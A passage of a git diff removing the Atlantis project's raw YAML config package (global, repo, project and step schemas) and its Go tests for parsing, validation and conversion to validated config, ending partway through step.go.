customWorkflow, - }, - }, - }, - } - for name, c := range cases { - t.Run(name, func(t *testing.T) { - pv := &yaml.ParserValidator{} - cfg, err := pv.ParseGlobalCfgJSON(c.json, valid.NewGlobalCfg(false, false, false)) - if c.expErr != "" { - ErrEquals(t, c.expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, cfg) - }) - } -} - -// Test legacy shell parsing vs v3 parsing. -func TestParseRepoCfg_V2ShellParsing(t *testing.T) { - cases := []struct { - in string - expV2 string - expV2Err string - }{ - { - in: "echo a b", - expV2: "echo a b", - }, - { - in: "echo 'a b'", - expV2: "echo a b", - }, - { - in: "echo 'a b", - expV2Err: "unable to parse \"echo 'a b\": EOF found when expecting closing quote.", - }, - { - in: `mkdir a/b/c || printf \'your main.tf file does not provide default region.\\ncheck\'`, - expV2: `mkdir a/b/c || printf 'your main.tf file does not provide default region.\ncheck'`, - }, - } - - for _, c := range cases { - t.Run(c.in, func(t *testing.T) { - v2Dir, cleanup2 := TempDir(t) - defer cleanup2() - v3Dir, cleanup3 := TempDir(t) - defer cleanup3() - v2Path := filepath.Join(v2Dir, "atlantis.yaml") - v3Path := filepath.Join(v3Dir, "atlantis.yaml") - cfg := fmt.Sprintf(`workflows: - custom: - plan: - steps: - - run: %s - apply: - steps: - - run: %s`, c.in, c.in) - Ok(t, ioutil.WriteFile(v2Path, []byte("version: 2\n"+cfg), 0600)) - Ok(t, ioutil.WriteFile(v3Path, []byte("version: 3\n"+cfg), 0600)) - - p := &yaml.ParserValidator{} - v2Cfg, err := p.ParseRepoCfg(v2Dir, valid.NewGlobalCfg(true, false, false), "") - if c.expV2Err != "" { - ErrEquals(t, c.expV2Err, err) - } else { - Ok(t, err) - Equals(t, c.expV2, v2Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) - Equals(t, c.expV2, v2Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) - } - - v3Cfg, err := p.ParseRepoCfg(v3Dir, valid.NewGlobalCfg(true, false, false), "") - Ok(t, err) - Equals(t, c.in, v3Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) - Equals(t, c.in, v3Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) - }) - } -} - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } diff --git a/server/events/yaml/raw/global_cfg.go b/server/events/yaml/raw/global_cfg.go deleted file mode 100644 index eeaed643b2..0000000000 --- a/server/events/yaml/raw/global_cfg.go +++ /dev/null @@ -1,157 +0,0 @@ -package raw - -import ( - "fmt" - "regexp" - "strings" - - validation "github.com/go-ozzo/ozzo-validation" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/yaml/valid" -) - -// GlobalCfg is the raw schema for server-side repo config. -type GlobalCfg struct { - Repos []Repo `yaml:"repos" json:"repos"` - Workflows map[string]Workflow `yaml:"workflows" json:"workflows"` -} - -// Repo is the raw schema for repos in the server-side repo config. -type Repo struct { - ID string `yaml:"id" json:"id"` - ApplyRequirements []string `yaml:"apply_requirements" json:"apply_requirements"` - Workflow *string `yaml:"workflow,omitempty" json:"workflow,omitempty"` - AllowedOverrides []string `yaml:"allowed_overrides" json:"allowed_overrides"` - AllowCustomWorkflows *bool `yaml:"allow_custom_workflows,omitempty" json:"allow_custom_workflows,omitempty"` -} - -func (g GlobalCfg) Validate() error { - err := validation.ValidateStruct(&g, - validation.Field(&g.Repos), - validation.Field(&g.Workflows)) - if err != nil { - return err - } - - // Check that all workflows referenced by repos are actually defined. - for _, repo := range g.Repos { - if repo.Workflow == nil { - continue - } - name := *repo.Workflow - if name == valid.DefaultWorkflowName { - // The 'default' workflow will always be defined. - continue - } - found := false - for w := range g.Workflows { - if w == name { - found = true - break - } - } - if !found { - return fmt.Errorf("workflow %q is not defined", name) - } - } - return nil -} - -func (g GlobalCfg) ToValid(defaultCfg valid.GlobalCfg) valid.GlobalCfg { - workflows := make(map[string]valid.Workflow) - for k, v := range g.Workflows { - validatedWorkflow := v.ToValid(k) - workflows[k] = validatedWorkflow - if k == valid.DefaultWorkflowName { - // Handle the special case where they're redefining the default - // workflow. In this case, our default repo config references - // the "old" default workflow and so needs to be redefined. - defaultCfg.Repos[0].Workflow = &validatedWorkflow - } - } - // Merge in defaults without overriding. - for k, v := range defaultCfg.Workflows { - if _, ok := workflows[k]; !ok { - workflows[k] = v - } - } - - var repos []valid.Repo - for _, r := range g.Repos { - repos = append(repos, r.ToValid(workflows)) - } - repos = append(defaultCfg.Repos, repos...) - return valid.GlobalCfg{ - Repos: repos, - Workflows: workflows, - } -} - -// HasRegexID returns true if r is configured with a regex id instead of an -// exact match id. -func (r Repo) HasRegexID() bool { - return strings.HasPrefix(r.ID, "/") && strings.HasSuffix(r.ID, "/") -} - -func (r Repo) Validate() error { - idValid := func(value interface{}) error { - id := value.(string) - if !r.HasRegexID() { - return nil - } - _, err := regexp.Compile(id[1 : len(id)-1]) - return errors.Wrapf(err, "parsing: %s", id) - } - - overridesValid := func(value interface{}) error { - overrides := value.([]string) - for _, o := range overrides { - if o != valid.ApplyRequirementsKey && o != valid.WorkflowKey { - return fmt.Errorf("%q is not a valid override, only %q and %q are supported", o, valid.ApplyRequirementsKey, valid.WorkflowKey) - } - } - return nil - } - - workflowExists := func(value interface{}) error { - // We validate workflows in ParserValidator.validateRepoWorkflows - // because we need the list of workflows to validate. - return nil - } - - return validation.ValidateStruct(&r, - validation.Field(&r.ID, validation.Required, validation.By(idValid)), - validation.Field(&r.AllowedOverrides, validation.By(overridesValid)), - validation.Field(&r.ApplyRequirements, validation.By(validApplyReq)), - validation.Field(&r.Workflow, validation.By(workflowExists)), - ) -} - -func (r Repo) ToValid(workflows map[string]valid.Workflow) valid.Repo { - var id string - var idRegex *regexp.Regexp - if r.HasRegexID() { - withoutSlashes := r.ID[1 : len(r.ID)-1] - // Safe to use MustCompile because we test it in Validate(). - idRegex = regexp.MustCompile(withoutSlashes) - } else { - id = r.ID - } - - var workflow *valid.Workflow - if r.Workflow != nil { - // This key is guaranteed to exist because we test for it in - // ParserValidator.validateRepoWorkflows. - ptr := workflows[*r.Workflow] - workflow = &ptr - } - - return valid.Repo{ - ID: id, - IDRegex: idRegex, - ApplyRequirements: r.ApplyRequirements, - Workflow: workflow, - AllowedOverrides: r.AllowedOverrides, - AllowCustomWorkflows: r.AllowCustomWorkflows, - } -} diff --git a/server/events/yaml/raw/project.go b/server/events/yaml/raw/project.go deleted file mode 100644 index e19fe6e5ca..0000000000 --- a/server/events/yaml/raw/project.go +++ /dev/null @@ -1,117 +0,0 @@ -package raw - -import ( - "fmt" - "net/url" - "path/filepath" - "strings" - - validation "github.com/go-ozzo/ozzo-validation" - version "github.com/hashicorp/go-version" - "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/events/yaml/valid" -) - -const ( - DefaultWorkspace = "default" - ApprovedApplyRequirement = "approved" - MergeableApplyRequirement = "mergeable" -) - -type Project struct { - Name *string `yaml:"name,omitempty"` - Dir *string `yaml:"dir,omitempty"` - Workspace *string `yaml:"workspace,omitempty"` - Workflow *string `yaml:"workflow,omitempty"` - TerraformVersion *string `yaml:"terraform_version,omitempty"` - Autoplan *Autoplan `yaml:"autoplan,omitempty"` - ApplyRequirements []string `yaml:"apply_requirements,omitempty"` -} - -func (p Project) Validate() error { - hasDotDot := func(value interface{}) error { - if strings.Contains(*value.(*string), "..") { - return errors.New("cannot contain '..'") - } - return nil - } - - validTFVersion := func(value interface{}) error { - strPtr := value.(*string) - if strPtr == nil { - return nil - } - _, err := version.NewVersion(*strPtr) - return errors.Wrapf(err, "version %q could not be parsed", *strPtr) - } - validName := func(value interface{}) error { - strPtr := value.(*string) - if strPtr == nil { - return nil - } - if *strPtr == "" { - return errors.New("if set cannot be empty") - } - if !validProjectName(*strPtr) { - return fmt.Errorf("%q is not allowed: must contain only URL safe characters", *strPtr) - } - return nil - } - return validation.ValidateStruct(&p, - validation.Field(&p.Dir, validation.Required, validation.By(hasDotDot)), - validation.Field(&p.ApplyRequirements, validation.By(validApplyReq)), - validation.Field(&p.TerraformVersion, validation.By(validTFVersion)), - validation.Field(&p.Name, validation.By(validName)), - ) -} - -func (p Project) ToValid() valid.Project { - var v valid.Project - // Prepend ./ and then run .Clean() so we're guaranteed to have a relative - // directory. This is necessary because we use this dir without sanitation - // in DefaultProjectFinder. - cleanedDir := filepath.Clean("./" + *p.Dir) - v.Dir = cleanedDir - - if p.Workspace == nil || *p.Workspace == "" { - v.Workspace = DefaultWorkspace - } else { - v.Workspace = *p.Workspace - } - - v.WorkflowName = p.Workflow - if p.TerraformVersion != nil { - v.TerraformVersion, _ = version.NewVersion(*p.TerraformVersion) - } - if p.Autoplan == nil { - v.Autoplan = DefaultAutoPlan() - } else { - v.Autoplan = p.Autoplan.ToValid() - } - - // There are no default apply requirements. - v.ApplyRequirements = p.ApplyRequirements - - v.Name = p.Name - - return v -} - -// validProjectName returns true if the project name is valid. -// Since the name might be used in URLs and definitely in files we don't -// support any characters that must be url escaped *except* for '/' because -// users like to name their projects to match the directory it's in. -func validProjectName(name string) bool { - nameWithoutSlashes := strings.Replace(name, "/", "-", -1) - return nameWithoutSlashes == url.QueryEscape(nameWithoutSlashes) -} - -func validApplyReq(value interface{}) error { - reqs := value.([]string) - for _, r := range reqs { - if r != ApprovedApplyRequirement && r != MergeableApplyRequirement { - return fmt.Errorf("%q is not a valid apply_requirement, only %q and %q are supported", r, ApprovedApplyRequirement, MergeableApplyRequirement) - } - } - return nil -} diff --git a/server/events/yaml/raw/project_test.go b/server/events/yaml/raw/project_test.go deleted file mode 100644 index 64d34c18e5..0000000000 --- a/server/events/yaml/raw/project_test.go +++ /dev/null @@ -1,406 +0,0 @@ -package raw_test - -import ( - "testing" - - validation "github.com/go-ozzo/ozzo-validation" - version "github.com/hashicorp/go-version" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" -) - -func TestProject_UnmarshalYAML(t *testing.T) { - cases := []struct { - description string - input string - exp raw.Project - }{ - { - description: "omit unset fields", - input: "", - exp: raw.Project{ - Dir: nil, - Workspace: nil, - Workflow: nil, - TerraformVersion: nil, - Autoplan: nil, - ApplyRequirements: nil, - Name: nil, - }, - }, - { - description: "all fields set including mergeable apply requirement", - input: ` -name: myname -dir: mydir -workspace: workspace -workflow: workflow -terraform_version: v0.11.0 -autoplan: - when_modified: [] - enabled: false -apply_requirements: -- mergeable`, - exp: raw.Project{ - Name: String("myname"), - Dir: String("mydir"), - Workspace: String("workspace"), - Workflow: String("workflow"), - TerraformVersion: String("v0.11.0"), - Autoplan: &raw.Autoplan{ - WhenModified: []string{}, - Enabled: Bool(false), - }, - ApplyRequirements: []string{"mergeable"}, - }, - }, - } - - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - var p raw.Project - err := yaml.UnmarshalStrict([]byte(c.input), &p) - Ok(t, err) - Equals(t, c.exp, p) - }) - } -} - -func TestProject_Validate(t *testing.T) { - cases := []struct { - description string - input raw.Project - expErr string - }{ - { - description: "minimal fields", - input: raw.Project{ - Dir: String("."), - }, - expErr: "", - }, - { - description: "dir empty", - input: raw.Project{ - Dir: nil, - }, - expErr: "dir: cannot be blank.", - }, - { - description: "dir with ..", - input: raw.Project{ - Dir: String("../mydir"), - }, - expErr: "dir: cannot contain '..'.", - }, - { - description: "apply reqs with unsupported", - input: raw.Project{ - Dir: String("."), - ApplyRequirements: []string{"unsupported"}, - }, - expErr: "apply_requirements: \"unsupported\" is not a valid apply_requirement, only \"approved\" and \"mergeable\" are supported.", - }, - { - description: "apply reqs with approved requirement", - input: raw.Project{ - Dir: String("."), - ApplyRequirements: []string{"approved"}, - }, - expErr: "", - }, - { - description: "apply reqs with mergeable requirement", - input: raw.Project{ - Dir: String("."), - ApplyRequirements: []string{"mergeable"}, - }, - expErr: "", - }, - { - description: "apply reqs with mergeable and approved requirements", - input: raw.Project{ - Dir: String("."), - ApplyRequirements: []string{"mergeable", "approved"}, - }, - expErr: "", - }, - { - description: "empty tf version string", - input: raw.Project{ - Dir: String("."), - TerraformVersion: String(""), - }, - expErr: "terraform_version: version \"\" could not be parsed: Malformed version: .", - }, - { - description: "tf version with v prepended", - input: raw.Project{ - Dir: String("."), - TerraformVersion: String("v1"), - }, - expErr: "", - }, - { - description: "tf version without prepended v", - input: raw.Project{ - Dir: String("."), - TerraformVersion: String("1"), - }, - expErr: "", - }, - { - description: "empty string for project name", - input: raw.Project{ - Dir: String("."), - Name: String(""), - }, - expErr: "name: if set cannot be empty.", - }, - { - description: "project name with slashes", - input: raw.Project{ - Dir: String("."), - Name: String("my/name"), - }, - expErr: "", - }, - { - description: "project name with emoji", - input: raw.Project{ - Dir: String("."), - Name: String("😀"), - }, - expErr: "name: \"😀\" is not allowed: must contain only URL safe characters.", - }, - { - description: "project name with spaces", - input: raw.Project{ - Dir: String("."), - Name: String("name with spaces"), - }, - expErr: "name: \"name with spaces\" is not allowed: must contain only URL safe characters.", - }, - { - description: "project name with +", - input: raw.Project{ - Dir: String("."), - Name: String("namewith+"), - }, - expErr: "name: \"namewith+\" is not allowed: must contain only URL safe characters.", - }, - { - description: `project name with \`, - input: raw.Project{ - Dir: String("."), - Name: String(`namewith\`), - }, - expErr: `name: "namewith\\" is not allowed: must contain only URL safe characters.`, - }, - } - validation.ErrorTag = "yaml" - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - err := c.input.Validate() - if c.expErr == "" { - Ok(t, err) - } else { - ErrEquals(t, c.expErr, err) - } - }) - } -} - -func TestProject_ToValid(t *testing.T) { - tfVersionPointEleven, _ := version.NewVersion("v0.11.0") - cases := []struct { - description string - input raw.Project - exp valid.Project - }{ - { - description: "minimal values", - input: raw.Project{ - Dir: String("."), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - WorkflowName: nil, - TerraformVersion: nil, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - ApplyRequirements: nil, - Name: nil, - }, - }, - { - description: "all set", - input: raw.Project{ - Dir: String("."), - Workspace: String("myworkspace"), - Workflow: String("myworkflow"), - TerraformVersion: String("v0.11.0"), - Autoplan: &raw.Autoplan{ - WhenModified: []string{"hi"}, - Enabled: Bool(false), - }, - ApplyRequirements: []string{"approved"}, - Name: String("myname"), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "myworkspace", - WorkflowName: String("myworkflow"), - TerraformVersion: tfVersionPointEleven, - Autoplan: valid.Autoplan{ - WhenModified: []string{"hi"}, - Enabled: false, - }, - ApplyRequirements: []string{"approved"}, - Name: String("myname"), - }, - }, - { - description: "tf version without 'v'", - input: raw.Project{ - Dir: String("."), - TerraformVersion: String("0.11.0"), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - TerraformVersion: tfVersionPointEleven, - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - // Directories. - { - description: "dir set to /", - input: raw.Project{ - Dir: String("/"), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "dir starting with /", - input: raw.Project{ - Dir: String("/a/b/c"), - }, - exp: valid.Project{ - Dir: "a/b/c", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "dir with trailing slash", - input: raw.Project{ - Dir: String("mydir/"), - }, - exp: valid.Project{ - Dir: "mydir", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "unclean dir", - input: raw.Project{ - // This won't actually be allowed since it doesn't validate. - Dir: String("./mydir/anotherdir/../"), - }, - exp: valid.Project{ - Dir: "mydir", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "dir set to ./", - input: raw.Project{ - Dir: String("./"), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "dir set to ././", - input: raw.Project{ - Dir: String("././"), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - { - description: "dir set to .", - input: raw.Project{ - Dir: String("."), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - - { - description: "workspace set to empty string", - input: raw.Project{ - Dir: String("."), - Workspace: String(""), - }, - exp: valid.Project{ - Dir: ".", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - Equals(t, c.exp, c.input.ToValid()) - }) - } -} diff --git a/server/events/yaml/raw/raw.go b/server/events/yaml/raw/raw.go deleted file mode 100644 index 2c08e6a820..0000000000 --- a/server/events/yaml/raw/raw.go +++ /dev/null @@ -1,4 +0,0 @@ -// Package raw contains the golang representations of the YAML elements -// supported in atlantis.yaml. The structs here represent the exact data that -// comes from the file before it is parsed/validated further. -package raw diff --git a/server/events/yaml/raw/raw_test.go b/server/events/yaml/raw/raw_test.go deleted file mode 100644 index e0f43fac6d..0000000000 --- a/server/events/yaml/raw/raw_test.go +++ /dev/null @@ -1,13 +0,0 @@ -package raw_test - -// Bool is a helper routine that allocates a new bool value -// to store v and returns a pointer to it. -func Bool(v bool) *bool { return &v } - -// Int is a helper routine that allocates a new int value -// to store v and returns a pointer to it. -func Int(v int) *int { return &v } - -// String is a helper routine that allocates a new string value -// to store v and returns a pointer to it. -func String(v string) *string { return &v } diff --git a/server/events/yaml/raw/repo_cfg.go b/server/events/yaml/raw/repo_cfg.go deleted file mode 100644 index cd51977270..0000000000 --- a/server/events/yaml/raw/repo_cfg.go +++ /dev/null @@ -1,81 +0,0 @@ -package raw - -import ( - "errors" - - validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/valid" -) - -// DefaultAutomerge is the default setting for automerge. -const DefaultAutomerge = false - -// DefaultParallelApply is the default setting for parallel apply -const DefaultParallelApply = false - -// DefaultParallelPlan is the default setting for parallel plan -const DefaultParallelPlan = false - -// RepoCfg is the raw schema for repo-level atlantis.yaml config. -type RepoCfg struct { - Version *int `yaml:"version,omitempty"` - Projects []Project `yaml:"projects,omitempty"` - Workflows map[string]Workflow `yaml:"workflows,omitempty"` - Automerge *bool `yaml:"automerge,omitempty"` - ParallelApply *bool `yaml:"parallel_apply,omitempty"` - ParallelPlan *bool `yaml:"parallel_plan,omitempty"` -} - -func (r RepoCfg) Validate() error { - equals2 := func(value interface{}) error { - asIntPtr := value.(*int) - if asIntPtr == nil { - return errors.New("is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html") - } - if *asIntPtr != 2 && *asIntPtr != 3 { - return errors.New("only versions 2 and 3 are supported") - } - return nil - } - return validation.ValidateStruct(&r, - validation.Field(&r.Version, validation.By(equals2)), - validation.Field(&r.Projects), - validation.Field(&r.Workflows), - ) -} - -func (r RepoCfg) ToValid() valid.RepoCfg { - validWorkflows := make(map[string]valid.Workflow) - for k, v := range r.Workflows { - validWorkflows[k] = v.ToValid(k) - } - - var validProjects []valid.Project - for _, p := range r.Projects { - validProjects = append(validProjects, p.ToValid()) - } - - automerge := DefaultAutomerge - if r.Automerge != nil { - automerge = *r.Automerge - } - - parallelApply := DefaultParallelApply - if r.ParallelApply != nil { - parallelApply = *r.ParallelApply - } - - parallelPlan := DefaultParallelPlan - if r.ParallelPlan != nil { - parallelPlan = *r.ParallelPlan - } - - return valid.RepoCfg{ - Version: *r.Version, - Projects: validProjects, - Workflows: validWorkflows, - Automerge: automerge, - ParallelApply: parallelApply, - ParallelPlan: parallelPlan, - } -} diff --git a/server/events/yaml/raw/repo_cfg_test.go b/server/events/yaml/raw/repo_cfg_test.go deleted file mode 100644 index 8f0dcaf450..0000000000 --- a/server/events/yaml/raw/repo_cfg_test.go +++ /dev/null @@ -1,393 +0,0 @@ -package raw_test - -import ( - "testing" - - validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" - . "github.com/runatlantis/atlantis/testing" - yaml "gopkg.in/yaml.v2" -) - -func TestConfig_UnmarshalYAML(t *testing.T) { - cases := []struct { - description string - input string - exp raw.RepoCfg - expErr string - }{ - { - description: "no data", - input: "", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - }, - { - description: "yaml nil", - input: "~", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - }, - { - description: "invalid key", - input: "invalid: key", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - expErr: "yaml: unmarshal errors:\n line 1: field invalid not found in type raw.RepoCfg", - }, - { - description: "version set to 2", - input: "version: 2", - exp: raw.RepoCfg{ - Version: Int(2), - Projects: nil, - Workflows: nil, - }, - }, - { - description: "version set to 3", - input: "version: 3", - exp: raw.RepoCfg{ - Version: Int(3), - Projects: nil, - Workflows: nil, - }, - }, - { - description: "projects key without value", - input: "projects:", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - }, - { - description: "workflows key without value", - input: "workflows:", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - }, - { - description: "projects with a map", - input: "projects:\n key: value", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!map into []raw.Project", - }, - { - description: "projects with a scalar", - input: "projects: value", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - expErr: "yaml: unmarshal errors:\n line 1: cannot unmarshal !!str `value` into []raw.Project", - }, - { - description: "automerge not a boolean", - input: "version: 3\nautomerge: notabool", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", - }, - { - description: "parallel apply not a boolean", - input: "version: 3\nparallel_apply: notabool", - exp: raw.RepoCfg{ - Version: nil, - Projects: nil, - Workflows: nil, - }, - expErr: "yaml: unmarshal errors:\n line 2: cannot unmarshal !!str `notabool` into bool", - }, - { - description: "should use values if set", - input: ` -version: 3 -automerge: true -parallel_apply: true -parallel_plan: false -projects: -- dir: mydir - workspace: myworkspace - workflow: default - terraform_version: v0.11.0 - autoplan: - enabled: false - when_modified: [] - apply_requirements: [mergeable] -workflows: - default: - plan: - steps: [] - apply: - steps: []`, - exp: raw.RepoCfg{ - Version: Int(3), - Automerge: Bool(true), - ParallelApply: Bool(true), - ParallelPlan: Bool(false), - Projects: []raw.Project{ - { - Dir: String("mydir"), - Workspace: String("myworkspace"), - Workflow: String("default"), - TerraformVersion: String("v0.11.0"), - Autoplan: &raw.Autoplan{ - WhenModified: []string{}, - Enabled: Bool(false), - }, - ApplyRequirements: []string{"mergeable"}, - }, - }, - Workflows: map[string]raw.Workflow{ - "default": { - Apply: &raw.Stage{ - Steps: []raw.Step{}, - }, - Plan: &raw.Stage{ - Steps: []raw.Step{}, - }, - }, - }, - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - var conf raw.RepoCfg - err := yaml.UnmarshalStrict([]byte(c.input), &conf) - if c.expErr != "" { - ErrEquals(t, c.expErr, err) - return - } - Ok(t, err) - Equals(t, c.exp, conf) - }) - } -} - -func TestConfig_Validate(t *testing.T) { - cases := []struct { - description string - input raw.RepoCfg - expErr string - }{ - { - description: "version not nil", - input: raw.RepoCfg{ - Version: nil, - }, - expErr: "version: is required. If you've just upgraded Atlantis you need to rewrite your atlantis.yaml for version 3. See www.runatlantis.io/docs/upgrading-atlantis-yaml.html.", - }, - { - description: "version not 2 or 3", - input: raw.RepoCfg{ - Version: Int(1), - }, - expErr: "version: only versions 2 and 3 are supported.", - }, - } - validation.ErrorTag = "yaml" - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - err := c.input.Validate() - if c.expErr == "" { - Ok(t, err) - } else { - ErrEquals(t, c.expErr, err) - } - }) - } -} - -func TestConfig_ToValid(t *testing.T) { - cases := []struct { - description string - input raw.RepoCfg - exp valid.RepoCfg - }{ - { - description: "nothing set", - input: raw.RepoCfg{Version: Int(2)}, - exp: valid.RepoCfg{ - Version: 2, - Workflows: make(map[string]valid.Workflow), - }, - }, - { - description: "set to empty", - input: raw.RepoCfg{ - Version: Int(2), - Workflows: map[string]raw.Workflow{}, - Projects: []raw.Project{}, - }, - exp: valid.RepoCfg{ - Version: 2, - Workflows: map[string]valid.Workflow{}, - Projects: nil, - }, - }, - { - description: "automerge and parallel_apply omitted", - input: raw.RepoCfg{ - Version: Int(2), - }, - exp: valid.RepoCfg{ - Version: 2, - Automerge: false, - ParallelApply: false, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "automerge and parallel_apply true", - input: raw.RepoCfg{ - Version: Int(2), - Automerge: Bool(true), - ParallelApply: Bool(true), - }, - exp: valid.RepoCfg{ - Version: 2, - Automerge: true, - ParallelApply: true, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "automerge and parallel_apply false", - input: raw.RepoCfg{ - Version: Int(2), - Automerge: Bool(false), - ParallelApply: Bool(false), - }, - exp: valid.RepoCfg{ - Version: 2, - Automerge: false, - ParallelApply: false, - Workflows: map[string]valid.Workflow{}, - }, - }, - { - description: "only plan stage set", - input: raw.RepoCfg{ - Version: Int(2), - Workflows: map[string]raw.Workflow{ - "myworkflow": { - Plan: &raw.Stage{}, - Apply: nil, - }, - }, - }, - exp: valid.RepoCfg{ - Version: 2, - Automerge: false, - ParallelApply: false, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Plan: valid.DefaultPlanStage, - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "apply", - }, - }, - }, - }, - }, - }, - }, - { - description: "everything set", - input: raw.RepoCfg{ - Version: Int(2), - Automerge: Bool(true), - ParallelApply: Bool(true), - Workflows: map[string]raw.Workflow{ - "myworkflow": { - Apply: &raw.Stage{ - Steps: []raw.Step{ - { - Key: String("apply"), - }, - }, - }, - Plan: &raw.Stage{ - Steps: []raw.Step{ - { - Key: String("init"), - }, - }, - }, - }, - }, - Projects: []raw.Project{ - { - Dir: String("mydir"), - }, - }, - }, - exp: valid.RepoCfg{ - Version: 2, - Automerge: true, - ParallelApply: true, - Workflows: map[string]valid.Workflow{ - "myworkflow": { - Name: "myworkflow", - Apply: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "apply", - }, - }, - }, - Plan: valid.Stage{ - Steps: []valid.Step{ - { - StepName: "init", - }, - }, - }, - }, - }, - Projects: []valid.Project{ - { - Dir: "mydir", - Workspace: "default", - Autoplan: valid.Autoplan{ - WhenModified: []string{"**/*.tf*", "**/terragrunt.hcl"}, - Enabled: true, - }, - }, - }, - }, - }, - } - for _, c := range cases { - t.Run(c.description, func(t *testing.T) { - Equals(t, c.exp, c.input.ToValid()) - }) - } -} diff --git a/server/events/yaml/raw/step.go b/server/events/yaml/raw/step.go deleted file mode 100644 index 0effbfc2ea..0000000000 --- a/server/events/yaml/raw/step.go +++ /dev/null @@ -1,327 +0,0 @@ -package raw - -import ( - "encoding/json" - "errors" - "fmt" - "sort" - "strings" - - validation "github.com/go-ozzo/ozzo-validation" - "github.com/runatlantis/atlantis/server/events/yaml/valid" -) - -const ( - ExtraArgsKey = "extra_args" - NameArgKey = "name" - CommandArgKey = "command" - ValueArgKey = "value" - RunStepName = "run" - PlanStepName = "plan" - ApplyStepName = "apply" - InitStepName = "init" - EnvStepName = "env" -) - -// Step represents a single action/command to perform. In YAML, it can be set as -// 1. A single string for a built-in command: -// - init -// - plan -// 2. A map for an env step with name and command or value -// - env: -// name: test -// command: echo 312 -// value: value -// 3. A map for a built-in command and extra_args: -// - plan: -// extra_args: [-var-file=staging.tfvars] -// 4. A map for a custom run command: -// - run: my custom command -// Here we parse step in the most generic fashion possible. See fields for more -// details. -type Step struct { - // Key will be set in case #1 and #3 above to the key. In case #2, there - // could be multiple keys (since the element is a map) so we don't set Key. - Key *string - // Env will be set in case #2 above. - Env map[string]map[string]string - // Map will be set in case #3 above. - Map map[string]map[string][]string - // StringVal will be set in case #4 above. - StringVal map[string]string -} - -func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error { - return s.unmarshalGeneric(unmarshal) -} - -func (s Step) MarshalYAML() (interface{}, error) { - return s.marshalGeneric() -} - -func (s *Step) UnmarshalJSON(data []byte) error { - return s.unmarshalGeneric(func(i interface{}) error { - return json.Unmarshal(data, i) - }) -} - -func (s *Step) MarshalJSON() ([]byte, error) { - out, err := s.marshalGeneric() - if err != nil { - return nil, err - } - return json.Marshal(out) -} - -func (s Step) 